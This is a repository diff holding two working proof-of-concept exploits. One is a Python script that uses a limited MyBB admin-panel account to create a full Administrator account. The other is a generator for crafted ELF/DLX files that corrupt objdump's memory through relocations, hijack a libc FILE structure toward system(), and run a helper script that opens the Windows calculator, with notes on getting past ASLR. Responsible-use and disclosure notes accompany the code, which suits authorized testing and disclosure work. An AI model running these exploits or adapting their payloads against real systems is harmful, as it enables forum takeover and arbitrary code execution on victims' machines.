- Edit-user flow.
- Inline/mass usergroup update flow.
- Any plugin hooks or alternate paths that call the user data handler with group fields.
Defense-in-depth: make `UserDataHandler::verify_usergroup()` enforce group grant rules instead of returning `true`.
## References
- [MyBB 1.8.40 version page](https://mybb.com/versions/1.8.40/)
- [MyBB 1.8.40 release announcement](https://blog.mybb.com/2026/05/28/mybb-1-8-40-released-security-maintenance-release/)
- [MyBB releases on GitHub](https://github.com/mybb/mybb/releases)
## Responsible Use
This PoC is for authorized security testing, regression verification, and defensive remediation. Do not use it against systems without permission.

View File

@@ -0,0 +1,7 @@
# Security Policy
This repository documents an authorized local verification of a MyBB privilege-boundary issue.
Use the PoC only against systems you own or have explicit permission to test. If you are validating a production forum, coordinate with the forum owner and preserve evidence without exposing user data.
Suggested disclosure path: report MyBB core security issues through the MyBB Project security process at https://mybb.com/security/.

View File

@@ -0,0 +1,235 @@
from __future__ import annotations
import argparse
import html
import http.cookiejar
import re
import ssl
import sys
import urllib.error
import urllib.parse
import urllib.request
from dataclasses import dataclass
from http.cookies import SimpleCookie
from typing import Iterable
class PocError(RuntimeError):
pass
@dataclass
class HttpResponse:
status: int
reason: str
headers: object
body: str
url: str
class MyBBClient:
def __init__(self, base_url: str, admin_path: str, verify_tls: bool = True) -> None:
self.base_url = base_url.rstrip("/")
self.admin_path = admin_path.strip("/")
self.cookies = http.cookiejar.CookieJar()
handlers: list[urllib.request.BaseHandler] = [
urllib.request.HTTPCookieProcessor(self.cookies)
]
if not verify_tls:
handlers.append(
urllib.request.HTTPSHandler(
context=ssl._create_unverified_context()
)
)
self.opener = urllib.request.build_opener(*handlers)
def set_adminsid(self, adminsid: str) -> None:
cookie = SimpleCookie()
cookie["adminsid"] = adminsid
morsel = cookie["adminsid"]
parsed = urllib.parse.urlparse(self.base_url)
domain = parsed.hostname or "localhost"
self.cookies.set_cookie(
http.cookiejar.Cookie(
version=0,
name=morsel.key,
value=morsel.value,
port=None,
port_specified=False,
domain=domain,
domain_specified=False,
domain_initial_dot=False,
path="/",
path_specified=True,
secure=parsed.scheme == "https",
expires=None,
discard=True,
comment=None,
comment_url=None,
rest={},
rfc2109=False,
)
)
def url(self, path: str) -> str:
return f"{self.base_url}/{path.lstrip('/')}"
def admin_url(self, query: str = "") -> str:
suffix = f"?{query}" if query else ""
return self.url(f"{self.admin_path}/index.php{suffix}")
def request(self, url: str, data: dict[str, object] | None = None) -> HttpResponse:
encoded = None
if data is not None:
encoded = urllib.parse.urlencode(data, doseq=True).encode()
req = urllib.request.Request(
url,
data=encoded,
headers={"User-Agent": "MyBB-limited-acp-to-admin-poc/1.0"},
method="POST" if data is not None else "GET",
)
try:
with self.opener.open(req, timeout=20) as resp:
raw = resp.read()
body = raw.decode(resp.headers.get_content_charset() or "utf-8", "replace")
return HttpResponse(resp.status, resp.reason, resp.headers, body, resp.url)
except urllib.error.HTTPError as exc:
raw = exc.read()
body = raw.decode(exc.headers.get_content_charset() or "utf-8", "replace")
return HttpResponse(exc.code, exc.reason, exc.headers, body, exc.url)
def login_acp(self, username: str, password: str) -> str:
resp = self.request(
self.admin_url(),
{
"do": "login",
"username": username,
"password": password,
},
)
adminsid = self.cookie_value("adminsid")
if not adminsid:
raise PocError(f"ACP login failed or did not issue adminsid; HTTP {resp.status}")
return adminsid
def cookie_value(self, name: str) -> str:
for cookie in self.cookies:
if cookie.name == name:
return cookie.value
return ""
def extract_post_key(body: str) -> str:
patterns = [
r'name=["\']my_post_key["\']\s+value=["\']([^"\']+)["\']',
r'value=["\']([^"\']+)["\']\s+name=["\']my_post_key["\']',
]
for pattern in patterns:
match = re.search(pattern, body, re.I)
if match:
return html.unescape(match.group(1))
raise PocError("Could not find my_post_key in add-user form")
def response_has_access_denied(body: str) -> bool:
return "Access Denied" in body or "access denied" in body.lower()
def require_not_denied(resp: HttpResponse, context: str) -> None:
if response_has_access_denied(resp.body):
raise PocError(f"{context}: target returned Access Denied")
def print_kv(rows: Iterable[tuple[str, object]]) -> None:
width = max(len(key) for key, _ in rows)
for key, value in rows:
print(f"{key:<{width}} : {value}")
def main(argv: list[str]) -> int:
parser = argparse.ArgumentParser(
description="Create a full MyBB Administrator from a limited ACP user-manager account."
)
parser.add_argument("--url", required=True, help="Base forum URL")
parser.add_argument("--admin-path", default="admin", help="Admin CP path, default: admin")
parser.add_argument("--admin-user", help="Limited ACP username")
parser.add_argument("--admin-pass", help="Limited ACP password")
parser.add_argument("--adminsid", help="Existing adminsid cookie for the limited ACP account")
parser.add_argument("--new-user", required=True, help="Username for the new gid-4 Administrator")
parser.add_argument("--new-pass", required=True, help="Password for the new Administrator")
parser.add_argument("--new-email", required=True, help="Email for the new Administrator")
parser.add_argument(
"--probe-module",
default="config-settings",
help="Admin module to request for source/new-account comparison, default: config-settings",
)
parser.add_argument(
"--no-verify-tls",
action="store_true",
help="Disable TLS certificate verification for local/self-signed labs.",
)
args = parser.parse_args(argv)
if not args.adminsid and not (args.admin_user and args.admin_pass):
parser.error("provide either --adminsid or both --admin-user/--admin-pass")
source = MyBBClient(args.url, args.admin_path, verify_tls=not args.no_verify_tls)
if args.adminsid:
source.set_adminsid(args.adminsid)
else:
source.login_acp(args.admin_user, args.admin_pass)
source_probe = source.request(source.admin_url(f"module={urllib.parse.quote(args.probe_module)}"))
source_denied = response_has_access_denied(source_probe.body)
add_form = source.request(source.admin_url("module=user-users&action=add"))
require_not_denied(add_form, "add-user form")
post_key = extract_post_key(add_form.body)
create = source.request(
source.admin_url("module=user-users&action=add"),
{
"my_post_key": post_key,
"username": args.new_user,
"password": args.new_pass,
"confirm_password": args.new_pass,
"email": args.new_email,
"usergroup": "4",
"displaygroup": "0",
},
)
created_like_success = create.status in (200, 302)
new_admin = MyBBClient(args.url, args.admin_path, verify_tls=not args.no_verify_tls)
new_admin.login_acp(args.new_user, args.new_pass)
new_probe = new_admin.request(new_admin.admin_url(f"module={urllib.parse.quote(args.probe_module)}"))
new_denied = response_has_access_denied(new_probe.body)
print_kv(
[
("target", args.url.rstrip("/")),
("source_probe_status", f"HTTP {source_probe.status}"),
("source_probe_denied", "yes" if source_denied else "no"),
("add_form_status", f"HTTP {add_form.status}"),
("post_key_found", "yes"),
("create_status", f"HTTP {create.status}"),
("new_admin_login", "adminsid issued" if new_admin.cookie_value("adminsid") else "no adminsid"),
("new_probe_status", f"HTTP {new_probe.status}"),
("new_probe_denied", "yes" if new_denied else "no"),
]
)
if not created_like_success or new_denied or not new_admin.cookie_value("adminsid"):
raise PocError("Exploit did not verify")
print("\nResult: full Administrator account created and verified")
return 0
if __name__ == "__main__":
try:
raise SystemExit(main(sys.argv[1:]))
except PocError as exc:
print(f"error: {exc}", file=sys.stderr)
raise SystemExit(1)

6
objdump-dlx-calc-poc/.gitattributes vendored Normal file
View File

@@ -0,0 +1,6 @@
*.py text eol=lf
*.sh text eol=lf
P text eol=lf
*.bin binary
*.notes text eol=lf
*.md text eol=lf

6
objdump-dlx-calc-poc/.gitignore vendored Normal file
View File

@@ -0,0 +1,6 @@
__pycache__/
*.pyc
calc_hit.log
objdump-poc.out
core
core.*

4
objdump-dlx-calc-poc/P Executable file
View File

@@ -0,0 +1,4 @@
#!/usr/bin/env sh
echo "CALC_HELPER_RAN $(date -u +%Y-%m-%dT%H:%M:%SZ)" >> ./calc_hit.log
/mnt/c/WINDOWS/system32/calc.exe >/dev/null 2>&1 &
exit 0

View File

@@ -0,0 +1,124 @@
# objdump dlx calc poc
Small repro for an `objdump -g` crash-to-calc path in the DLX ELF backend.
This is an ACE-style local parser bug: the input is a crafted ELF/DLX object file, and the trigger is running `objdump` on it. It is not a network RCE by itself. The demo payload starts the tiny helper named `P`, and that helper opens calculator.
Tested against a binutils-gdb master build from commit:
```text
c311f4d37f31ff3fbb5db6923abcdf93bb75a37b
```
## whats in here
- `payloads/*.bin` - crafted ELF/DLX object files to feed to `objdump`
- `payloads/*.notes` - notes for each generated payload variant
- `P` - helper script that writes `calc_hit.log` and starts Windows calculator from WSL
- `run_dlx_calc_poc.sh` - tries the payload variants until one hits
- `generate_objdump_dlx_calc_poc.py` - regenerates the payload variants
- `dlx_chain_builder.py` - small builder used by the generator
- `docs/aslr-bypass-analysis.md` - notes on why this is profile-dependent
- `tools/search_pointer_transform.py` - Z3 sanity check for fixed pointer transforms
The payload files are named `.bin` because they are raw binary files, but the file format inside is ELF/DLX.
## why there are multiple payloads
ASLR stays on. Because of that, one exact payload is not guaranteed to land every time. The files in `payloads/` are a small set of guesses for the address layout seen during testing.
The generator emits the original profile plus a WSL/Ubuntu 24.04 profile measured against the pinned `dlx-elf` build. The second profile keeps ASLR on but uses stable relative offsets observed in the target process:
```text
layout=wsl2404 off_io=-0x3690 off_sec=0xbb0 rbase=0x220
buf_delta=0x702fff00 or 0x6f300000
system_delta=0x7042e500 or 0x7043e4ff
```
That is an ASLR-on relative-delta strategy, not a universal single-shot info-leak bypass. A miss can still happen, so the runner keeps the retry loop.
More detail is in `docs/aslr-bypass-analysis.md`.
So a plain crash like this does not always mean the PoC failed:
```text
Segmentation fault (core dumped)
```
The useful signal is either calculator opening, or `calc_hit.log` getting a fresh `CALC_HELPER_RAN ...` line.
## quick run
From WSL:
```bash
cd /path/to/objdump-dlx-calc-poc
chmod +x P
export PATH="$PWD:$PATH"
MAX_TRIES=50 bash run_dlx_calc_poc.sh /path/to/objdump
cat calc_hit.log
```
Example with a local binutils build:
```bash
MAX_TRIES=50 bash run_dlx_calc_poc.sh /opt/binutils-master/binutils/objdump
```
## manual run without the helper loop
If you want to do the same thing by hand and keep ASLR on:
```bash
cd /path/to/objdump-dlx-calc-poc
chmod +x P
export PATH="$PWD:$PATH"
rm -f calc_hit.log
for p in payloads/*.bin; do
echo "$p"
/path/to/objdump -g "$p" >/dev/null 2>&1 || true
if [ -s calc_hit.log ]; then
echo "HIT $p"
cat calc_hit.log
break
fi
done
```
Same thing as a one-liner:
```bash
rm -f calc_hit.log; for p in payloads/*.bin; do echo "$p"; /path/to/objdump -g "$p" >/dev/null 2>&1 || true; if [ -s calc_hit.log ]; then echo "HIT $p"; cat calc_hit.log; break; fi; done
```
## regenerating payloads
```bash
rm -rf payloads
python3 generate_objdump_dlx_calc_poc.py --out-dir payloads
```
The runner will also regenerate `payloads/` automatically if the folder is missing or empty.
## what the bug is doing
At a high level, the crafted DLX object gives `objdump -g` relocation data that causes the DLX backend to write outside the intended debug section while processing relocations. The PoC shapes those writes so that, when the process layout lines up, control flow reaches the helper command `P`.
That is why `PATH` matters. The helper is run by name, so this line is needed:
```bash
export PATH="$PWD:$PATH"
```
Without it, you can still get the segfault, but the helper might not be found.
## cleanup
Runtime files are not needed:
```bash
rm -f calc_hit.log objdump-poc.out
```
The generated crash after a hit is expected. The process usually does not exit cleanly after the helper is reached.

View File

@@ -0,0 +1,328 @@
#!/usr/bin/env pythoimport argparse
import struct
from pathlib import Path
EM_DLX = 0x5AA5
R_DLX_PCREL26 = 9
R_DLX_RELOC_32 = 3
MASK26 = 0x03FFFFFF
def p16(v):
return struct.pack(">H", v & 0xFFFF)
def p32(v):
return struct.pack(">I", v & 0xFFFFFFFF)
def strtab(strings):
blob = b"\x00"
offsets = {"": 0}
for s in strings:
if s and s not in offsets:
offsets[s] = len(blob)
blob += s.encode("ascii") + b"\x00"
return blob, offsets
def sym(name, value, size, info, shndx):
return p32(name) + p32(value) + p32(size) + bytes([info, 0]) + p16(shndx)
def build_elf(debug_size, relocs):
di = b"\x00" * debug_size
tx = b"\x00" * 4
sec_names = [
".text",
".debug_info",
".rel.debug_info",
".symtab",
".strtab",
".shstrtab",
]
shstr, shoff = strtab(sec_names)
names = [f"s{i}" for i in range(len(relocs))]
str_blob, stroff = strtab(names)
symtab = b""
symtab += sym(0, 0, 0, 0, 0)
symtab += sym(0, 0, 0, 0x03, 1)
symtab += sym(0, 0, 0, 0x03, 2)
for i, reloc in enumerate(relocs):
_offset, value = reloc[:2]
symtab += sym(stroff[f"s{i}"], value, 4, 0x12, 2)
rb = b""
for i, reloc in enumerate(relocs):
offset, _value = reloc[:2]
r_type = reloc[2] if len(reloc) > 2 else R_DLX_PCREL26
r_info = ((3 + i) << 8) | r_type
rb += p32(offset) + p32(r_info)
o = 52
text_off = o
o += len(tx)
debug_off = o
o += len(di)
rel_off = o
o += len(rb)
sym_off = o
o += len(symtab)
str_off = o
o += len(str_blob)
shstr_off = o
o += len(shstr)
shdr_off = o
def shdr(name, stype, flags, offset, size, link, info, align, entsize):
return (
p32(name)
+ p32(stype)
+ p32(flags)
+ p32(0)
+ p32(offset)
+ p32(size)
+ p32(link)
+ p32(info)
+ p32(align)
+ p32(entsize)
)
hdrs = b""
hdrs += shdr(0, 0, 0, 0, 0, 0, 0, 0, 0)
hdrs += shdr(shoff[".text"], 1, 6, text_off, len(tx), 0, 0, 4, 0)
hdrs += shdr(shoff[".debug_info"], 1, 0, debug_off, len(di), 0, 0, 1, 0)
hdrs += shdr(shoff[".rel.debug_info"], 9, 0x40, rel_off, len(rb), 4, 2, 4, 8)
hdrs += shdr(shoff[".symtab"], 2, 0, sym_off, len(symtab), 5, 3, 4, 16)
hdrs += shdr(shoff[".strtab"], 3, 0, str_off, len(str_blob), 0, 0, 1, 0)
hdrs += shdr(shoff[".shstrtab"], 3, 0, shstr_off, len(shstr), 0, 0, 1, 0)
ident = b"\x7fELF" + bytes([1, 2, 1, 0]) + b"\x00" * 8
ehdr = (
ident
+ p16(1)
+ p16(EM_DLX)
+ p32(1)
+ p32(0)
+ p32(0)
+ p32(shdr_off)
+ p32(0)
+ p16(52)
+ p16(0)
+ p16(0)
+ p16(40)
+ p16(7)
+ p16(6)
)
return ehdr + tx + di + rb + symtab + str_blob + shstr + hdrs
def decode_dlx_vallo(low26):
low26 &= MASK26
if low26 & 0x03000000:
return (~(low26 | 0xFC000000) + 1) & 0xFFFFFFFF
return low26
def low26_to_signed(low26):
low26 &= MASK26
if low26 & 0x02000000:
return low26 - 0x04000000
return low26
def word_to_low26(word):
return word & MASK26
def symbol_for_low26(current_word, final_low26):
final_low26 &= MASK26
signed_final = low26_to_signed(final_low26)
if signed_final == -0x02000000:
raise ValueError("DLX PCREL26 cannot encode final low26 0x02000000")
vallo = decode_dlx_vallo(word_to_low26(current_word))
return (vallo + signed_final) & 0xFFFFFFFF
def encodable_low26(final_low26):
return (final_low26 & MASK26) != 0x02000000
def apply_dlx_word(memory, offset, symbol_value):
cur = int.from_bytes(bytes(memory[offset : offset + 4]), "big")
vallo = decode_dlx_vallo(cur & MASK26)
val = ((symbol_value & 0xFFFFFFFF) - vallo) & 0xFFFFFFFF
if val & 0x80000000:
val_signed = val - 0x100000000
else:
val_signed = val
if abs(val_signed) > 0x01FFFFFF:
raise ValueError(f"relocation would be out of range: {val_signed:#x}")
new_word = (cur & 0xFC000000) | (val_signed & MASK26)
memory[offset : offset + 4] = new_word.to_bytes(4, "big")
class ChainBuilder:
def __init__(self, debug_size, rbase, memory_base, memory):
self.debug_size = debug_size
self.rbase = rbase
self.memory_base = memory_base
self.memory = bytearray(memory)
self.relocs = []
self.notes = []
self._initialized_addresses = set()
def _mem_index(self, target):
idx = target - self.memory_base
if idx < 0 or idx + 4 > len(self.memory):
raise ValueError(f"target {target:#x} outside modeled memory")
return idx
def _raw_reloc(self, offset, symbol_value, note):
idx = len(self.relocs)
self.relocs.append((offset & 0xFFFFFFFF, symbol_value & 0xFFFFFFFF))
self.notes.append((idx, offset, symbol_value & 0xFFFFFFFF, note))
self._set_address_field(idx, offset & 0xFFFFFFFF)
return idx
def add_pi32_reloc(self, target, delta, note):
actual_idx = len(self.relocs) + (2 if target < 0 else 0)
self._set_address_field(actual_idx, target & 0xFFFFFFFF)
if target < 0:
self._patch_negative_address_for_index(actual_idx)
idx = len(self.relocs)
self.relocs.append((target & 0xFFFFFFFF, delta & 0xFFFFFFFF, R_DLX_RELOC_32))
self.notes.append((idx, target, delta & 0xFFFFFFFF, note))
self._set_address_field(idx, target & 0xFFFFFFFF)
mem_idx = self._mem_index(target)
cur = int.from_bytes(bytes(self.memory[mem_idx : mem_idx + 4]), "big")
new = (cur + (delta & 0xFFFFFFFF)) & 0xFFFFFFFF
self.memory[mem_idx : mem_idx + 4] = new.to_bytes(4, "big")
def _set_address_field(self, reloc_idx, address):
if reloc_idx in self._initialized_addresses:
return
field = self.rbase + reloc_idx * 32 + 8
mem_idx = field - self.memory_base
if 0 <= mem_idx and mem_idx + 8 <= len(self.memory):
self.memory[mem_idx : mem_idx + 8] = (address & 0xFFFFFFFF).to_bytes(8, "little")
self._initialized_addresses.add(reloc_idx)
def _positive_write_low26(self, target, final_low26, note):
idx = self._mem_index(target)
cur = int.from_bytes(bytes(self.memory[idx : idx + 4]), "big")
symv = symbol_for_low26(cur, final_low26)
self._raw_reloc(target, symv, note)
apply_dlx_word(self.memory, idx, symv)
def _patch_negative_address_for_index(self, actual_idx):
h = self.rbase + actual_idx * 32 + 12
self._positive_write_low26(h - 1, 0x03FFFFFF, f"patch reloc{actual_idx} address high dword bytes 0..2")
self._positive_write_low26(h, 0x03FFFFFF, f"patch reloc{actual_idx} address high dword byte 3")
def write_low26(self, target, final_low26, note):
if target < 0:
actual_idx = len(self.relocs) + 2
self._set_address_field(actual_idx, target & 0xFFFFFFFF)
self._patch_negative_address_for_index(actual_idx)
self._raw_reloc(target & 0xFFFFFFFF, 0, f"{note} placeholder before simulation")
idx = self._mem_index(target)
cur = int.from_bytes(bytes(self.memory[idx : idx + 4]), "big")
symv = symbol_for_low26(cur, final_low26)
self.relocs[-1] = (target & 0xFFFFFFFF, symv)
self.notes[-1] = (actual_idx, target, symv, note)
apply_dlx_word(self.memory, idx, symv)
else:
self._positive_write_low26(target, final_low26, note)
def write_bytes4(self, target, data):
if len(data) != 4:
raise ValueError("write_bytes4 needs exactly 4 bytes")
prior_idx = self._mem_index(target - 1)
prior_low2 = self.memory[prior_idx] & 3
low_a = (
(prior_low2 << 24)
| (data[0] << 16)
| (data[1] << 8)
| data[2]
)
low_b = ((data[0] & 3) << 24) | (data[1] << 16) | (data[2] << 8) | data[3]
if encodable_low26(low_a) and encodable_low26(low_b):
self.write_low26(target - 1, low_a, f"stage write bytes at {target:#x}")
self.write_low26(target, low_b, f"finish write bytes at {target:#x}")
return
tail_idx = self._mem_index(target + 2)
tail_low2 = self.memory[tail_idx] & 3
for filler in range(0x10000):
low_tail = (tail_low2 << 24) | (data[3] << 16) | filler
if encodable_low26(low_tail) and encodable_low26(low_a):
self.write_low26(target + 2, low_tail, f"fallback tail byte for {target:#x}")
self.write_low26(target - 1, low_a, f"fallback first three bytes at {target:#x}")
return
raise ValueError(f"no DLX byte decomposition for target {target:#x}")
def parse_hex_bytes(value):
value = value.replace(" ", "").replace(":", "")
if len(value) % 2:
raise argparse.ArgumentTypeError("hex byte string must have an even length")
return bytes.fromhex(value)
def parse_write(spec):
off, data = spec.split(":", 1)
return int(off, 0), parse_hex_bytes(data)
def parse_patch(spec):
off, data = spec.split(":", 1)
return int(off, 0), parse_hex_bytes(data)
def main():
parser = argparse.ArgumentParser()
parser.add_argument("--debug-size", type=int, default=144)
parser.add_argument("--rbase", type=lambda x: int(x, 0), required=True)
parser.add_argument("--memory-base", type=lambda x: int(x, 0), required=True)
parser.add_argument("--memory-hex", type=parse_hex_bytes)
parser.add_argument("--memory-size", type=lambda x: int(x, 0))
parser.add_argument("--patch-mem", action="append", type=parse_patch, default=[])
parser.add_argument("--write4", action="append", type=parse_write, required=True)
parser.add_argument("--out", type=Path, required=True)
parser.add_argument("--notes", type=Path)
args = parser.parse_args()
if args.memory_hex is None:
if args.memory_size is None:
parser.error("either --memory-hex or --memory-size is required")
memory = bytearray(args.memory_size)
else:
memory = bytearray(args.memory_hex)
if args.memory_size is not None and args.memory_size > len(memory):
memory.extend(b"\x00" * (args.memory_size - len(memory)))
for off, data in args.patch_mem:
idx = off - args.memory_base
if idx < 0 or idx + len(data) > len(memory):
parser.error(f"--patch-mem offset {off:#x} outside modeled memory")
memory[idx : idx + len(data)] = data
builder = ChainBuilder(args.debug_size, args.rbase, args.memory_base, memory)
for target, data in args.write4:
builder.write_bytes4(target, data)
args.out.write_bytes(build_elf(args.debug_size, builder.relocs))
print(args.out.resolve())
print(f"relocations={len(builder.relocs)}")
if args.notes:
lines = []
for idx, target, symv, note in builder.notes:
lines.append(f"{idx:03d} target={target:#x} sym=0x{symv:08x} {note}")
args.notes.write_text("\n".join(lines) + "\n", encoding="ascii")
if __name__ == "__main__":
main()

View File

@@ -0,0 +1,94 @@
# ASLR bypass analysis
This repository contains an ASLR-on exploit for a local heap/libio profile. It
does not contain a deterministic universal ASLR bypass for the unmodified
`objdump` process.
## What works
The payload set can reach the helper command `P` with ASLR enabled when the
heap and libc low-word layout matches one of the generated profiles.
The current generator emits:
- `orig`: the first measured profile.
- `wsl2404`: offsets measured against the pinned `dlx-elf` build on
WSL/Ubuntu 24.04.
The `wsl2404` profile uses:
```text
off_io=-0x3690
off_sec=0xbb0
rbase=0x220
buf_delta=0x702fff00 or 0x6f300000
system_delta=0x7042e500 or 0x7043e4ff
```
## Why argv two-stage is not enough
A deterministic leak-then-exploit route would need this sequence in one
`objdump` process:
1. Process file 1 and leak libc.
2. Generate file 2 with the exact `system` delta.
3. Process file 2 with the same ASLR layout.
That path did not hold for this trigger. In local GDB measurements with
`objdump -W -r file1 file2`, the DWARF relocation side effect that mutates
`.debug_info` ran for the first object only. The second object's relocation
table printed unmodified symbol names (`s0`, `s1`, and so on).
FIFO staging is also blocked in unmodified `objdump`: `display_file()` calls
`get_file_size()`, and `get_file_size()` rejects non-regular files before
`bfd_openr()`.
## Why a fixed single-file transform is not universal
The useful dynamic value in the corrupted `FILE` object is the existing libc
pointer at `FILE+0x68`:
```text
_IO_2_1_stderr_ offset = 0x2044e0
system offset = 0x58750
```
For a page-aligned libc base, converting `P = base + 0x2044e0` into
`S = base + 0x58750` requires carry/borrow information from lower
little-endian bytes.
Counterexample over low 32 bits:
```text
base_low = 0x0000: P bytes = e0 44 20 00, S bytes = 50 87 05 00
base_low = 0x8000: P bytes = e0 c4 20 00, S bytes = 50 07 06 00
```
The original byte 2 and byte 3 are identical in both cases (`20 00`), but the
desired byte 2 differs (`05` versus `06`) based on original byte 1.
The DLX relocation additions available to the payload operate on big-endian
8/16/32-bit fields in the target byte stream. Their carries flow from higher
memory offsets toward lower memory offsets. They cannot make final byte 2
depend on original byte 1. PC-relative writes can set constants, but they do
not introduce the missing dependency.
`tools/search_pointer_transform.py` is a sanity check for this reasoning. It
asks Z3 for fixed sequences consisting of one 32-bit relocation plus up to a
chosen number of 8/16-bit correction relocations, then brute-verifies any
candidate over all page-aligned low-32-bit bases.
Example:
```bash
python3 tools/search_pointer_transform.py --mode r32-first --max-extra 4
python3 tools/search_pointer_transform.py --mode r32-last --max-extra 4
```
Both forms found no universal transform up to four correction relocations in
the tested operation class.
## Result
The PoC should be described as ASLR-on and profile-dependent. It is not a
universal single-file ASLR bypass.

View File

@@ -0,0 +1,157 @@
import argparse
import importlib.util
from pathlib import Path
HERE = Path(__file__).resolve().parent
spec = importlib.util.spec_from_file_location("dlx_chain_builder", HERE / "dlx_chain_builder.py")
builder_mod = importlib.util.module_from_spec(spec)
spec.loader.exec_module(builder_mod)
R_DLX_NONE = 0
R_DLX_RELOC_16 = 2
EXPECTED_RELOCS = 25
DEBUG_SIZE = 144
OFF_IO = -0x46A0
OFF_SEC = 0xB20
RBASE = 0x1F0
FILE_FLAGS = OFF_IO
FILE_BUF_BASE = OFF_IO + 0x20
FILE_SYSTEM_SLOT = OFF_IO + 0x68
FILE_WIDE_DATA = OFF_IO + 0xA0
FILE_VTABLE = OFF_IO + 0xD8
SECTION_SIZE_LOW = OFF_SEC + 0x38
SECTION_SIZE_HIGH = OFF_SEC + 0x3C
BUF_TO_FILE_BE32_DELTAS = (0xEF210000, 0xF020FF00)
WIDE_TO_FAKE_BE32_DELTAS = (0x4FFF0000,)
STDERR_TO_SYSTEM_BE32_DELTAS = (0x7042E500, 0x7043E4FF)
FILE_JUMPS_TO_WFILE_OVERFLOW_FINISH_BE16 = 0x0002
LAYOUTS = (
{
"name": "orig",
"off_io": OFF_IO,
"off_sec": OFF_SEC,
"rbase": RBASE,
"buf_deltas": BUF_TO_FILE_BE32_DELTAS,
"wide_deltas": WIDE_TO_FAKE_BE32_DELTAS,
"system_deltas": STDERR_TO_SYSTEM_BE32_DELTAS,
},
{
"name": "wsl2404",
"off_io": -0x3690,
"off_sec": 0xBB0,
"rbase": 0x220,
"buf_deltas": (0x702FFF00, 0x6F300000),
"wide_deltas": WIDE_TO_FAKE_BE32_DELTAS,
"system_deltas": STDERR_TO_SYSTEM_BE32_DELTAS,
},
)
def add_pi16_reloc(chain, target, delta, note):
actual_idx = len(chain.relocs) + (2 if target < 0 else 0)
chain._set_address_field(actual_idx, target & 0xFFFFFFFF)
if target < 0:
chain._patch_negative_address_for_index(actual_idx)
idx = len(chain.relocs)
chain.relocs.append((target & 0xFFFFFFFF, delta & 0xFFFFFFFF, R_DLX_RELOC_16))
chain.notes.append((idx, target, delta & 0xFFFFFFFF, note))
chain._set_address_field(idx, target & 0xFFFFFFFF)
def base_memory(flag_byte4, off_io, off_sec, rbase):
memory_base = off_io - 0x100
memory_end = max(rbase + EXPECTED_RELOCS * 32 + 0x80, off_sec + 0x80)
memory = bytearray(memory_end - memory_base)
flags_idx = off_io - memory_base
memory[flags_idx : flags_idx + 8] = bytes([0x88, 0x24, 0xAD, 0xFB, flag_byte4, 0, 0, 0])
return memory_base, memory
def build(out_dir):
out_dir.mkdir(parents=True, exist_ok=True)
outputs = []
for layout in LAYOUTS:
off_io = layout["off_io"]
off_sec = layout["off_sec"]
rbase = layout["rbase"]
file_flags = off_io
file_buf_base = off_io + 0x20
file_system_slot = off_io + 0x68
file_wide_data = off_io + 0xA0
file_vtable = off_io + 0xD8
section_size_low = off_sec + 0x38
section_size_high = off_sec + 0x3C
for flag_byte4 in (0x05, 0x06):
for buf_delta in layout["buf_deltas"]:
for wide_delta in layout["wide_deltas"]:
for system_delta in layout["system_deltas"]:
memory_base, memory = base_memory(flag_byte4, off_io, off_sec, rbase)
chain = builder_mod.ChainBuilder(DEBUG_SIZE, rbase, memory_base, memory)
chain.write_bytes4(file_flags, b"P\x00\x00\x00")
chain.write_bytes4(section_size_low, b"\xff\xff\xff\xff")
chain.write_bytes4(section_size_high, b"\xff\xff\xff\xff")
chain.add_pi32_reloc(file_buf_base, buf_delta, "FILE+0x20 input buffer pointer -> FILE fake wide vtable")
chain.add_pi32_reloc(file_system_slot, system_delta, "FILE+0x68 _IO_2_1_stderr_ -> system")
chain.add_pi32_reloc(file_wide_data, wide_delta, "FILE+0xa0 real wide_data -> FILE-0xc0 fake wide_data")
add_pi16_reloc(
chain,
file_vtable,
FILE_JUMPS_TO_WFILE_OVERFLOW_FINISH_BE16,
"FILE+0xd8 _IO_file_jumps -> interior vtable with finish=_IO_wfile_overflow",
)
while len(chain.relocs) < EXPECTED_RELOCS:
chain.relocs.append((0, 0, R_DLX_NONE))
chain.notes.append((len(chain.relocs) - 1, 0, 0, "pad R_DLX_NONE"))
if len(chain.relocs) != EXPECTED_RELOCS:
raise ValueError(f"unexpected reloc count {len(chain.relocs)}")
name = (
f"dlx_calc_aslr_{layout['name']}_f{flag_byte4:02x}_"
f"b{buf_delta:08x}_s{system_delta:08x}"
)
out = out_dir / f"{name}.bin"
notes = out_dir / f"{name}.notes"
out.write_bytes(builder_mod.build_elf(DEBUG_SIZE, chain.relocs))
notes.write_text(
"\n".join(
[
f"layout={layout['name']}",
f"flag_byte4=0x{flag_byte4:02x}",
f"buf_delta=0x{buf_delta:08x}",
f"wide_delta=0x{wide_delta:08x}",
f"system_delta=0x{system_delta:08x}",
"command=P",
f"off_io={off_io:#x} off_sec={off_sec:#x} rbase={rbase:#x}",
"",
]
+ [
f"{idx:03d} target={target:#x} sym=0x{symv:08x} {note}"
for idx, target, symv, note in chain.notes
]
)
+ "\n",
encoding="ascii",
)
outputs.append(out)
return outputs
def main():
ap = argparse.ArgumentParser()
ap.add_argument("--out-dir", type=Path, default=HERE / "payloads")
args = ap.parse_args()
for out in build(args.out_dir):
print(out.resolve())
if __name__ == "__main__":
main()

View File

@@ -0,0 +1,33 @@
layout=orig
flag_byte4=0x05
buf_delta=0xef210000
wide_delta=0x4fff0000
system_delta=0x7042e500
command=P
off_io=-0x46a0 off_sec=0xb20 rbase=0x1f0
000 target=0x23b sym=0x00ffffff patch reloc2 address high dword bytes 0..2
001 target=0x23c sym=0x000000ff patch reloc2 address high dword byte 3
002 target=-0x46a1 sym=0x00d824ad stage write bytes at -0x46a0
003 target=0x29b sym=0x00ffffff patch reloc5 address high dword bytes 0..2
004 target=0x29c sym=0x000000ff patch reloc5 address high dword byte 3
005 target=-0x46a0 sym=0x000000fb finish write bytes at -0x46a0
006 target=0xb57 sym=0x00ffffff stage write bytes at 0xb58
007 target=0xb58 sym=0x000000ff finish write bytes at 0xb58
008 target=0xb5b sym=0x00ffffff stage write bytes at 0xb5c
009 target=0xb5c sym=0x000000ff finish write bytes at 0xb5c
010 target=0x37b sym=0x00ffffff patch reloc12 address high dword bytes 0..2
011 target=0x37c sym=0x000000ff patch reloc12 address high dword byte 3
012 target=-0x4680 sym=0xef210000 FILE+0x20 input buffer pointer -> FILE fake wide vtable
013 target=0x3db sym=0x00ffffff patch reloc15 address high dword bytes 0..2
014 target=0x3dc sym=0x000000ff patch reloc15 address high dword byte 3
015 target=-0x4638 sym=0x7042e500 FILE+0x68 _IO_2_1_stderr_ -> system
016 target=0x43b sym=0x00ffffff patch reloc18 address high dword bytes 0..2
